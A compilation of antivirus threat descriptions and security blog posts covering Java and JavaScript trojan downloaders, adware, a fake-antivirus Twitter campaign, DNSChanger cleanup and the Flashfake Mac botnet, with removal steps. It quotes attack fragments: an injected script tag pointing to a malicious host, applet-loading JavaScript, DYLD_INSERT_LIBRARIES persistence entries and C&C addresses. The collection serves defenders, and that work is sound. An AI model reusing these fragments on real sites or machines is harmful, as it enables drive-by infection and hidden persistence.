Trojan-Downloader.Java.OpenConnection.cg

Technical Details

This malware is a component of a Trojan, which downloads files from the Internet without the user's knowledge. It is a Java class file. It is 672 bytes in size.

Payload

The malware is a Java class file named "KAVS" and it is a component of a Trojan downloader from the "Trojan-Downloader.Java.OpenConnection" family. This class file is designed to exploit a vulnerability (CVE-2010-0840). JDK and JRE up to version 6, 18th update, are vulnerable. The vulnerability appears due to improper verification when executing privileged methods in Java Runtime Environment; this enables the malicious user to execute a random code with a specially modified object, which is a subclass file of the trusted class file. In this case the "KAVS" class file inherits the "getValue()" method of the "Expression" class file. Such inheritance cannot be executed directly from the malicious class file, which is a subclass file of non-privileged "Applet" class file. This way the Trojan is able to use the "getValue()" method to execute its malicious activity.

Trojan-Downloader.Java.OpenConnection.dd

Technical Details

This Trojan downloads files from the Internet and launches them without the user's knowledge. It is a Java class file. It is 4588 bytes in size.

Payload

The malware is a component of a Trojan downloader from the "Trojan-Downloader.Java.OpenConnection" family and includes a class file named "bear", which downloads a file from the Internet, from a link sent to it, and launches the downloaded file for execution. The downloaded file is saved in the current user's temporary files directory as

%Temp%\<rnd>.exe

where is a random fractional decimal number between 0 and 1. Before downloading, it checks the name of the OS installed on the infected system. If the OS is not Windows, the download does not take place.

The Trojan constitutes a Java applet. It is launched from an infected HTML page using an "<APPLET>" tag, for which an encrypted link to a downloadable file is sent in parameter named "pid".

As well as the above-mentioned class file, the Trojan contains "Unicode" and "UTF" class files. The "Unicode" class file includes "lopiyo" function, which is used to decrypt the link to a downloadable file. The "UTF" class file contains a code designed to exploit a vulnerability (CVE-2010-0840).

Removal instructions

If your computer does not have antivirus protection and has been infected by this malicious program, follow the instructions below to delete it:

1. Update Sun Java JRE and JDK to the latest versions.
2. Delete the following file:

   %Temp%\<rnd>.exe

3. Empty the Temporary Internet Files directory, which may contain infected files (see How to delete infected files from Temporary Internet Files folder?).

   %Temporary Internet Files%

Trojan-Downloader.Java.OpenConnection.cx

Technical Details

This Trojan downloads files from the Internet and launches them without the user's knowledge. It is a Java class file. It is 7594 bytes in size.

Payload

The malware is a component of a Trojan downloader and includes a class file named "a", which downloads a file from the Internet, from a link sent to it. The file is saved in the current user's temporary files directory as

%Temp%\<rnd>.exe

where <rnd> is a random fractional decimal number from 0 to 1.

During its operation, the Trojan exploits a vulnerability in Java Runtime Environment (CVE-2010-0094). The vulnerability exists while deserializing RMIConnectionImpl objects; it enables the malicious user, outside of the virtualization environment, to call Java system functions by using ClassLoader. Java Runtime Environment (JRE) up to version 6, 18th update, is vulnerable. The Trojan constitutes a Java applet. It is launched from an infected HTML page using the "<APPLET>>" tag, for which an encrypted link to a downloadable file is sent in parameters named "trigger" and "a".

Removal instructions

If your computer does not have antivirus protection and has been infected by this malicious program, follow the instructions below to delete it:

1. Update JRE to the latest version.
2. Delete the following file:

   %Temp%\<rnd>.exe

3. Empty the Temporary Internet Files directory, which may contain infected files (see How to delete infected files from Temporary Internet Files folder?).

   %Temporary Internet Files%

4. Perform a full scan of the computer using Kaspersky Anti-Virus with up-to-date antivirus databases (download a trial version). <\ol>

Trojan-Downloader.Java.OpenConnection.dc

Technical Details

This Trojan downloads files from the Internet and launches them without the user's knowledge. It is a Java class file. It is 6335 bytes in size.

Payload

The malware is a component of a Trojan downloader from the "Trojan-Downloader.Java.OpenConnection" family and includes a class file named "monoid", which downloads a file from the Internet, from a link sent to it, and launches the downloaded file for execution. The downloaded file is saved in the current user's temporary files directory as

%Temp%\<rnd>.exe

where is a random fractional decimal number between 0 and 1. Before downloading, it checks the name of the OS installed on the infected system. If the OS is not Windows, the download does not take place.

The Trojan constitutes a Java applet. It is launched from an infected HTML page using an "<APPLET>" tag, for which an encrypted link to a downloadable file is sent in parameter named "dskvnds".

As well as the above-mentioned class file, the Trojan contains "reverberator" and "partizano" class files. The "reverberator" class file includes "lopiyo" function, which is used to decrypt the link to a downloadable file. The "partizano" class file contains a code designed to exploit a vulnerability (CVE-2010-0840).

Removal instructions

If your computer does not have antivirus protection and has been infected by this malicious program, follow the instructions below to delete it:

1. Update Sun Java JRE and JDK to the latest versions.
2. Delete the following file:

   %Temp%\<rnd>.exe

3. Empty the Temporary Internet Files directory, which may contain infected files (see How to delete infected files from Temporary Internet Files folder?).

   %Temporary Internet Files%

Trojan-Downloader.Java.OpenConnection.df

Technical Details

This Trojan downloads files from the Internet without the user's knowledge. It is a Java class file. It is 2555 bytes in size.

Payload

The Trojan code contains a "Ump_45" class file, which downloads a file from the Internet from a link sent to it. The downloaded file is saved in the current user's temporary files directory as

%Temp%\<rnd>.exe

where is a random fractional decimal number from 0 to 1. The Trojan constitutes a Java applet. It is launched from an infected HTML page using an "<APPLET>" tag, for which a link to a downloadable file is sent in parameter named "s".

Removal instructions

If your computer does not have antivirus protection and has been infected by this malicious program, follow the instructions below to delete it:

1. Delete the following file:

   %Temp%\.exe

2. Empty the Temporary Internet Files directory, which may contain infected files (see How to delete infected files from Temporary Internet Files folder?).

   %Temporary Internet Files%

Trojan-Downloader.JS.Agent.ftu

Technical Details

This program has a malicious payload. It is an HTML document containing Java Script. It is 43 256 bytes in size.

Payload

Once launched, the Trojan uses additional JS scripts to strip obfuscations from its main malicious code. The Trojan then determines the operating system version, the current browser and the plugins installed in browser. It exploits a vulnerability in Java Deployment Toolkit (JDT) that arises due to incorrect processing of URL. This allows the malicious user to send random parameters to Java Web Start (JWS) (CVE-2010-0886). The malicious user generates a specially crafted link and sends it as the parameter of vulnerable "launch()" function. This way the Trojan downloads and launches the malicious file for execution from the following link:

\\76.***.98\pub\new.avi

It also sends a link for downloading:

http://shr***sht.co.cc/d.php?f=95&e=1

The Trojan uses ActiveX objects with unique identifiers to run its malicious script in MS Internet Explorer:

{CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA}
{8AD9C840-044E-11D1-B3E9-00805F499D93}
{CA8A9780-280D-11CF-A24D-444553540000}

To execute its script in Mozilla Firefox and other NPAPI browsers, the Trojan determines the following MIME types:

application/npruntime-scriptable-plugin;deploymenttoolkit
application/java-deployment-toolkit
application/vnd.adobe.pdfxml
application/vnd.adobe.x-mars

The malware then determines the plugins installed in the browser and Adobe Reader and Adobe Acrobat ActiveX objects. Then, depending on the PDF Reader version, in a hidden frame it downloads a PDF exploit from one of the following links:

http://<domain_name_of_infected_server>/games/pdf.php?f=95
http://<domain_name_of_infected_server>/games/pdf2.php?f=95

At the time of writing, these links were inactive.

Removal instructions

If your computer does not have antivirus protection and has been infected by this malicious program, follow the instructions below to delete it:

1. Delete the original Trojan file (its location will depend on how the program originally penetrated the infected computer).
2. Empty the Temporary Internet Files directory, which contains infected files (see How to delete infected files from Temporary Internet Files folder?):

   %Temporary Internet Files%

3. Update Sun Java JRE and JDK to the latest versions.
4. Empty the current user's temporary files directory:

   %Temp %\

Trojan-GameThief.Win32.Nilage.ipj

Toto shrnutí není k dispozici. Příspěvek zobrazíte kliknutím sem.

not-a-virus:AdWare.Win32.WhiteSmoke.a

Technical Details

This program downloads various malware from the Internet and installs it without the user's knowledge. It is a Windows application (PE EXE file). It is 129 288 bytes in size. It is packed using UPX. The unpacked file is approximately 404 KB in size. It is written in C++.

Payload

Once launched, the Trojan checks for current user's administrator privileges and if they are missing, displays the following message:

It performs the following actions:

• When launched, it displays the following window:
  
• When the program runs, it creates the following unique identifiers:

  {FF4E366C-EB6E-4387-968D-B97175E24D5A}
  Global\WST2010_Feature_<rnd>
  Global\WST2010_{58343C24-CB4B-4a57-9B4D-E3DD88463B62}_INITIALIZE
  

  where <rnd> is a random sequence of numbers.
• It creates the following system registry keys:

  [HKCU\Environment]
  "WS_TARGET_DIR"="%Program Files%\\WhiteSmoke Translator"
  
  [HKLM\Software\WhiteSmokeTranslator]
  "InstallOption"=dword:0000000e
  "DistID"=dword:0000138a
  

• In the current user's temporary directory it creates the following directory:

  %Temp%\~nsu.tmp\

  Where the program places the following files:

  %Temp%\~nsu.tmp\wsget.exe

  The file is 61 952 bytes in size.
  MD5: CB40B57461F84E92BA68DD6A77B0675D
  SHA1: FF5C21B8753BF9BA3402059CD98AC3A32F19E82F

  %Temp%\~nsu.tmp\boost.ico

  The file is 13 942 bytes in size.
  MD5: 576AE10DD9F5521A3285163D31EBD277
  SHA1: 4D88D461ED307F6949FE51F4698C35767FEF8D84
  The Trojan also creates the following files (where <user> is the name of the current user account):

  %Documents and Settings%\All Users\Start Menu\Programs\Startup\WhiteSmoke Translator.lnk
  %Documents and Settings%\<user>\Desktop\WhiteSmoke (continue installation).lnk
  
  %Documents and Settings%\<user>\Desktop\Improve Your PC.lnk

  The file is 1102 bytes in size.
  MD5: 1A2F8DD3F951A4BDBA6E8F7683675E46
  SHA1: 3D1ACB0DF365B2A422FEE42890A92A30CB7978FD
  When this file is launched, the following links open in the default browser:

  http://www.re***ster.com/L10n/geo-ws-597-di.php

  At the time of writing, this link was inactive.
• It launches the following file for execution:

  %Temp%\~nsu.tmp\wsget.exe

  It sends the following string to this file as a parameter:

  "%Program Files%\WhiteSmoke Translator"

  The launched file downloads and launches files from the following URL addresses:

  http://get.w***moke.com/TranslatorTools/whitesmoke-silent.exe

  The file is 251 200 bytes in size.
  MD5: B2C1ECBB4E673505E9248A25DFC286B0
  SHA1: DD472F78C5E8591AD7C57435C67B46CFABAFAFCF

  http://get.w***moke.com/TranslatorTools/WhiteSmokeTranslator_rev1.exe

  The file is 5 076 816 bytes in size.
  MD5: 12C6D991CAE48AEE5A14F1175D2543DA
  SHA1: 57859915C688EF98718C57500116DE2483ADEFCF
  The files are saved under the following names, respectively:

  %Temp%\~nsu.tmp\whitesmoke-silent.exe
  %Temp%\~nsu.tmp\WhiteSmokeTranslator_rev1.exe

Removal instructions

If your computer does not have antivirus protection and has been infected by this malicious program, follow the instructions below to delete it:

1. Delete the original Trojan file (its location will depend on how the program originally penetrated the infected computer).
2. Delete the following files:

   %Temp%\~nsu.tmp\wsget.exe
   %Temp%\~nsu.tmp\boost.ico
   %Documents and Settings%\All Users\Start Menu\Programs\Startup\WhiteSmoke Translator.lnk
   %Documents and Settings%\<user>\Desktop\WhiteSmoke (continue installation).lnk
   %Documents and Settings%\<user>\Desktop\Improve Your PC.lnk
   %Temp%\~nsu.tmp\whitesmoke-silent.exe
   %Temp%\~nsu.tmp\WhiteSmokeTranslator_rev1.exe
   

3. Delete the following system registry keys:

   [HKCU\Environment]
   "WS_TARGET_DIR"="%Program Files%\\WhiteSmoke Translator"
   
   [HKLM\Software\WhiteSmokeTranslator]
   "InstallOption"=dword:0000000e
   "DistID"=dword:0000138a

Trojan.JS.Fraud.ba

Technical Details

This program is a Trojan. It is an HTML page containing Java Script. It is 72 367 bytes in size.

Payload

When an infected page is opened in a browser, the user will be shown a message about malicious activity on the computer.

The infected page then imitates an antivirus scanner, which finds nonexistent malware on the victim's computer. The user is then asked, in the guise of system protection, to install a fake anti-virus.

When the user attempts to close the page, the following message is displayed:

New Spam campaign on Twitter Leads to Rogue AV

Early today, Kaspersky Lab discovered a new ongoing spam campaign on Twitter. hundreds of compromised accounts are currently spamming malicious links, hosted on .TK and .tw1.su domains, leading to Rogue Anti Virus softwares.

Here is an analysis of the infection at a given time. Keep in mind that it is just a snapshot of the infection, and that the numbers are actually lower than reality.

The compromised accounts spammed up to 8 messages per second, with links redirecting users to the infamous BlackHole exploit kit.

Upon following such a link, users received an alert about malicious activities on their computer and the need to do a fast scan of their system files

Here is the above mentioned fast system scan:

At the end of the "scan", they are invited to install a fake Anti Malware solutions. During our tests, several variants were pushed to the infected machines, which were the same threat using different names. Here is one of them:

Campaign Monitoring

Kaspersky Lab is still monitoring the campaign and here are a few statistics we would like to share.

We started monitoring the campaign for a little less than two hours where a total number of 453 compromised Twitter account where being used to spam malicious links. The campaign was divided in two. Links to .TK domains and links to .tw1.su.

The .TK TLD

153 unique users were actively sending links to .TK domains, with a count of 20 unique domains used. We recorded 656 messages sent.

The .TW1.SU TLD

300 unique users were actively sending links to .tw1.su domains, with a count of 21 unique domains used. We recorded 758 messages sent.

At this point, the domains weren't resolving anymore and the spamming slowed down until it stopped. The top domains was used in 95 Tweets.

Campaign Monitoring: Part 2

The campaign quickly restarted with only 3 unique .TK domains this time in a much more agressive way and is still ongoing.

The top domain from the first part of the campaign was present in 95 tweets only. Here is the number of Tweets we recorded for the new ones:

WI[redacted]K.TK       884
VI[redacted]DA.TK      890
RE[redacted]LOS.TK     929 

This time, we recorded a number of 317 unique users actively spamming the new domains. 87 users were new and not used in the first part of the campaign.(230 overlapping from the first part of the campaign).

Conclusion

Our analysis is just a snapshot at a given time, and is lower than reality. The campaign is still ongoingas we publish our analysis. From our small monitoring, we can say that:

The total number of unique Twitter account that were recorded is: 540

The total number of unique domains used: 44

The total number of recorded Tweets is: 4148

The malicious samples we gathered were already detected by Kaspersky Lab and our customers were protected since the start of the campaign. Threats detected as: Trojan-FakeAV.Win32.Agent.dqs andTrojan-FakeAV.Win32.Romeo.dv

Many thanks to my colleague Vicente Diaz for helping monitoring the Malicious Campaign.

OS X Mass Exploitation - Why Now?

Market share! It’s an easy answer, but not the only one.

In 2011, Apple was estimated to account for over 5% of worldwide desktop/laptop market share. This barrier was a significant one to break - Linux maintains under 2% market share and Google ChromeOS even less. This 15 year peak coincided with the first exploration by the aggressive FakeAv/Rogueware market targeting Apple computers, which we discovered and posted in April 2011 and later in May 2011, which no longer seem to be such an odd coincidence. Also, the delay in Apple malware until now most likely was not because Apple exploits were unavailable, or because the Mac OS X system is especially hardened. The 2007 "Month of Apple Bugs" demonstrated that the Mac OS X and supporting code is full of exploitable flaws. Safari, Quicktime, and other software on Apple devices is regularly exploited during pwnage contests, but widespread cybercrime attention hadn’t caught on until this past year.

At this point, we still don't know who is behind Flashfake, so we don’t know for sure that they were the same Mac OS X FakeAv/Rogueware group. Speculating that eastern euro-cybercrime is behind the botnet would be a pretty confident way to go right now. There are known groups from the region that have succeeded at wringing ad revenues from traffic hijacking. We don't believe that other sensitive data has been targeted. And the exploit distribution URLs that we are aware of have only targeted mac users. These factors limit the operational and technical needs of a financially motivated cybercrime gang.

In a sense, it would appear that their activity was somewhat similar to the Koobface or Tdss gangs. They haven't commited large unique financial crimes to attract the attention of law enforcement, and their malware contains hooks and other code to perform more sophisticated banking crime than search traffic hijacking, but they most likely were looking to make a multitude of small financial gains. On the other hand, thankfully, Apple hasn't given these guys ample notice to make their run. There can be plenty of money in that business - it is estimated that the Koobface guys ran off with millions after Facebook "outted" their operation under investigation. But based on the domain registrations we have examined, the individuals are not quite so public and they are hiding their identities while they hijack search engine traffic. The malware itself injects a number of hooks into running applications, much like the Zeus, SpyEye, and other spyware. If these were used for financial crimes, the group operating this botnet would need to organize money mules and accomplices to launder their stolen money, which would grow the group and attract the attention of other authorities.

On the technology side, Java is a big part of the puzzle. Although the Trojan is called Flashfake because users were being convinced to install the malware as an Adobe Flash update, more recent versions of the malware were being installed via client-side Java exploitation.

Three vulnerabilities were targeted with client-side exploits, none of them were 0day, which seem to have become much more difficult to come by. Besides, this set worked just as well for these operators. It is interesting to note the duration of time from the original Oracle Java security update to the Apple Java security update, and when in that timeframe the release offensive security research publicly appeared. And, when were Metasploit open source exploit modules were released targeting the related Java vulnerabilities? The windows of time may be alarming – these are not 0day exploits, but Apple simply hasn’t released patches, leaving their customers exposed to the equivalent of known 0day exploits.

CVE-2012-0507

2012-02-15 Oracle patches Atomic Reference Array vulnerability

2012-03-10 First Itw exploits targeting the vuln

2012-03-30 Metasploit developers add Java atomicreferencearray exploit module

2012-04-03 Apple patches their code

CVE-2011-3544

2011-05-12 Reported to vendor

2011-11-18 Oracle patched their Java SE

2011-11-30 Metasploit developers add "Rhino exploit" module

2011-11-30 Krebs reports operational Blackhole site with the new Java exploit

2012-3-29 Patched by Apple

CVE-2008-5353

"Deserializing Calendar objects"

2008-08-01 Reported to Sun with first instance of the vulnerability

2008-12-03 Sun patches their code (Sun link down)

2009-05-15 Apple patches MacOSX code

2009-06-16 Metasploit developers add Java deserialization exploit

Also on this list is a lame exploit described as a signed applet social engineering trick.

I'd prefer to call it the "the terribly confused user presented with the Java 'do you want to trust this applet?' dialog and will run anything you present them" gamble. It first became a part of the Metasploit exploit module list on 2010-01-27. Basically, these guys present the user with a file that the user thinks is a JavaUpdate provided by Apple Inc themselves, which they grant trust to perform any action on their machine. The downloader will then communicate with a couple of sites to register and download new Flashfake components. These components in turn, collect the system UUID and timestamp, then auto-generate with a crypto algorithm a set of C2 domains, along with maintaining a list of hard coded domains. A couple of the newer components inject into running processes on the system hooking software functionality and hijacking traffic, much like past TDS malware.

Update to "DNSChanger - Cleaning Up 4 Million Infected Hosts"

The Fbi's "Operation Ghost Click" announcement in Nov 2011, involving the Rove Digital botnet delayed cleanup efforts that we previously discussed, continues to haunt both the internet networks and the mass media. A Forbes article and a Times article yesterday brought the apparition back to the front, with some claiming that the site offered by the DNSChanger Working Group is a new one, which it is not. The 2011 Operation being described, and the temporarily outsourced DNS server replacements and delayed cleanup, is the same. This phantom is nothing supernatural, so why all the discussion? The federal judge's extension allowing the Fbi to run these replacement DNS servers still cuts off access in early July. When those replacement servers are removed in early July, the infected systems resolving DNS queries at these previously-owned Rove Digital servers will simply not be able to resolve DNS requests. July 9th will arrive soon, and notifications continue to go out related to the hundreds of thousands of systems in the US alone that are still infected.

In the simplest terms, connectivity will not be severed for DNSChanger-infected systems, but internet communications will not function for infected systems that have not been cleaned up. In the US, government agencies, home users, and other organizations still infected with the malware will have systems that effectively can't get online, can't send email, etc. It will look like they are connected to their network, but they just won't communicate with anything.

At the same time, there seems to be issues with some existing identification efforts. Yesterday, I infected a system with DNSChanger and visited dns-ok.us. Results here:

Regarding the dns-ok site visit, my ISP's support team isn't aware of any "DNS redirections" that would cause the test to fail, and I will update this post with any update from our network admin that they are redirecting my system's dns queries. But that piece is highly doubtful. My point here is that infected system owners may be confused by this check. And the ip address was within the Fbi-provided ranges run by Rove Digital - perhaps a reader knows differently?
UPDATE (1:40 p.m. MST) - I received some details from my local ISP network admin. They are not redirecting any related DNS queries. However, one of their large upstream providers is redirecting DNS requests to another DNS server of their own. The other upstream link to the net does not seem to be re-routing DNS requests. So my infected client's traffic must be favoring routes through the larger upstream provider, and poof, the green/clean response banner appears. Any way you look at it, the response from the site can be inconsistent - sometimes red, sometimes green. Unfortunately, this sort of situation is going to confuse cleanup efforts. So, here we are again. To the potentially millions of folks running DNSChanger infected systems and are listening to the cacophony of incident responder consultants tossing out cheap cynicism that "AV is dead!", go ahead and download an "AV product" to scan your system. Of course, I like recommending our scanners (just visit http://www.kaspersky.com) because I have cleaned up DNSChanger infected systems with it (and the products have fully functional trial periods), along with our TDSSKiller rootkit removal tool to clean up especially complex DNSChanger infections.

The anatomy of Flashfake. Part 1

What is Flashback/Flashfake?

It is a family of malware for Mac OS X. The first versions of this type of threat were detected in September 2011. In March 2012 around 700,000 computers worldwide were infected by Flashback. The infected computers are combined in a botnet which enables cybercriminals to install additional malicious modules on them at will. One of these modules is known to generate fake search engine results. It is quite possible that, in addition to intercepting search engine traffic, cybercriminals could upload other malicious modules to infected computers – e.g. for data theft or spam distribution.

The zero phase of the infection: hacked WordPress blogs

From September 2011 to February 2012, Flashfake was distributed using social engineering only: visitors to various websites were asked to download a fake Adobe Flash Player update. It meant the Trojan was being distributed as installation archives named “FlashPlayer-11-macos.pkg”, “AdobeFlashUpdate.pkg”, etc.

The use of exploits to distribute Flashfake was first detected in February 2012; exploits dating back to 2008 and 2011 were used in those attacks. Exploitation of the CVE2012-0507 vulnerability was first reported in March 2012. At that point, it was a vulnerability in Mac OS X that remained unpatched, despite the fact that Oracle had released a patch for it in February. This was because Apple never uses patches from Oracle and creates its own patches to close Java vulnerabilities. The patch for Mac OS X which closed the CVE2012-0507 vulnerability was released in early April.

This practice of releasing patches with delays of about two months is traditional for Apple.

Vulnerability	Patch from Oracle	Patch from Apple
CVE2008-5353	14 April 2009	15 June 2009
CVE2011-3544	18 October 2011	8 November 2011
CVE2012-0507	14 February 2012	03-12 April 2012

In order to spread Flashfake in March 2012, its authors made use of a cybercriminal partner program that appears to be of Russian origin.

The partner program was based on script redirects from huge numbers of legitimate websites all over the world. Around the end of February/early March 2012, tens of thousands of sites powered by WordPress were compromised. How this happened is unclear. The main theories are that bloggers were using vulnerable versions of WordPress or they had installed the ToolsPack plugin. Websense put the number of affected sites at 30,000 , while other companies say the figure could be as high as 100,000. Approximately 85% of the compromised blogs are located in the US.

Code was injected into the main pages when the blogs were hacked. Constructions of the following type were added to the code (example):

<script src="http://domainname.rr.nu/nl.php?p=d"></script>

As a result, when any of the compromised sites were visited, a partner program TDS was contacted. Depending on the operating system and browser version, the browser then performed a hidden redirect to sites in the rr.nu domain zone that had the appropriate set of exploits installed on them to carry out an infection.

Site code on WordPress with a link to a malicious script

The first phase of the infection: drive-by-downloads and social engineering

During hidden redirects (example: hxxp://ixeld52erlya.rr.nu/n.php?h=1&s=pmg), the browser accessed folders /3f/ or /7f/ on the malicious website and executed JavaScript which loaded a Java applet.

Here is an example of one script:

if(rts != "on"){
document.write('<applet archive="rh-3.jar" code="rhcls" width="1"
height="1"></applet>');
document.write('<applet archive="cl-3.jar" code="msf/x/AppletX"
width="1" height="1"></applet>');
}

The attack involved an attempt to execute four Jar files (Java applications). Three of these were exploits for Java vulnerabilities; the fourth was disguised as a legitimate application, with social engineering used to deceive victims.

Vulnerabilities exploited:

• CVE2008-5353 ("deserializing Calendar objects")
• CVE2011-3544
• CVE2012-0507

Each Jar file contains an exploit for one vulnerability and a malicious executable file that is extracted and installed on the system.

Code fragment in CVE2008-5353 exploit

Code fragment in CVE2011-3544 exploit

Code fragment in CVE2012-0507 exploit

If exploitation is unsuccessful, an attempt is made to infect the system using a specially crafted Java applet which tries to pass itself off as a legitimate file signed by Apple in order to get the user to grant it the rights necessary for installation.

This method of distributing Flashfake was discovered in February 2012.

The attackers rely on the user granting the application system access rights because it says it is signed by Apple. The file does not in fact have Apple’s digital signature: the certificate was forged by cybercriminals.

Fragments of code in the fake certificate

If the user agrees to grant the rights requested by the applet, a malicious file will be extracted and installed.

Fragment of code in the fake applet

Thus, the execution of any one of the four applets described above (those containing exploits or the one requesting rights from the user) in the browser will result in the installation of a container file which operates as a downloader and installer for the remaining Flashfake components.

The file is installed to /tmp/.sysenter and launched (when the exploit for CVE2012-0507 is used, a random file name is generated).

Diagram showing the first phase of the infection

Second phase of the infection: first-stage downloader

The file installed in the system is a container in Mach-O binary format, containing either a 32- or 64-bit module – both versions having practically identical functionality.

The module’s main function is to establish communication with the first-stage C&C server, download additional modules from it and install them in the system. Upon completing these functions, the module deletes itself and does not reappear on the infected system.

When it launches, the module checks if the LittleSnitch app (a popular firewall for Mac OS X), XCode (toolkit for developing OSX applications), the VirusBarrierX6.app, iAntiVirus.app, avast!.app, andClamXav.app antivirus applications, or the HTTPScoop.app and Packet Peeper.app apps are present in the system. If any of these are present, the module ceases operation and deletes itself.

Otherwise, the module connects to one of the C&C servers (e.g. 31.31.79.87, 78.46.139.211), communicates the victim computer’s UUID (universally unique identifier) and additional information about the system (version of the OS). In return, it receives a data package containing two additional components encrypted with a key based on the computer’s UUID.

Fragment of the module’s code listing the applications to check for, and the C&C URL

After the data package is loaded, the module extracts component files from it and attempts to install them in the system:

Flashfake’s operation flowchart at the current phase of the infection

The backdoor downloader is the first component to be installed. It is the main bot module responsible for ensuring further interaction with the botnet and the downloading of updates.

The installer saves the body of the backdoor with an arbitrary name (beginning with a dot, e.g. ‘.null.’) to the root partition of the user’s $HOME/ folder.

The installer also creates the file .plist (see below) to ensure the backdoor’s further operation:

Example of a .plist file

This file is installed in $HOME/Library/LaunchAgents/. This ensures that the backdoor’s module is automatically loaded each time the system is started.

Flashfake’s operation flowchart at the current phase of the infection

The second component installed from the Internet intercepts web traffic and substitutes pages in the browser.

The installation procedure for this module has changed significantly in the latest version of the Flashfake installer, which propagates via the CVE2012-0507 vulnerability. See below for a description.

Fragment of the installer’s code

The installer invokes the system function to request administrator privileges and waits for the user to insert the login and root password.

Request for administrative rights

If the user enters the required info, the installer is able to open for write the Safari.app browser application (Applications/Safari.app/Contents/Resources/) and save the module to it that intercepts traffic and substitutes pages and a second module that launches the first module in the browser process. The names of these modules are chosen randomly, but all start with a dot and end with the .png and .xsl extensions.

To ensure the modules are launched automatically, the installer modifies the contents of the file /Applications/Safari.app/Contents/Info.plist, adding the following strings to it:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Safari.app/Contents/Resources/.имя_файла.xsl</string>
</dict>

If these actions are successful, the installer connects to the C&C at, for example, 31.31.79.87/stat_d/, thus notifying about the successful completion of the operation. If there is an error during installation, the connection will be made to, for example, 31.31.79.87/stat_n/.

Once these operations are completed the installer restarts the Safari browser in order to activate the modifications, ceases its operation and deletes itself from the system.

If the user does not enter the administration login and password, and presses “Cancel”, the modules will be installed using a different method.

The installer first checks the system for the following applications: MicrosoftWord.app, MicrosoftOffice 2008, Applications/MicrosoftOffice 2011, and Skype.app. If they are found, the installer ceases its operation and deletes itself from the system.

The traffic interception module is then installed to /Users/Shared/ under the name .libgmalloc.dylib.

Before this, the installer deletes files from this folder using the command rm -f /Users/Shared/.*.so. This removal operation is most probably intended to delete any earlier versions of Flashfake that are present in the system.

The installer then creates the file $HOME/.MacOS/environment.plist and saves the following strings to it:

<key>DYLD_INSERT_LIBRARIES</key>
<string>/Users/Shared/.libgmalloc.dylib</string>

As a result, the module will be hooked and loaded to every launched app.

Another auxiliary component will be installed to the user folder $HOME/Library/Application Support/ under a random name which starts with a dot and has a .tmp extension.

The operation flowchart at the installation stage of the web traffic sniffer module

Once the installation is completed, the installer connects to the C&C at, for example, 31.31.79.87/stat_u/, informing about the successful infection. After this the installer ceases its operation and deletes itself.

To be continued…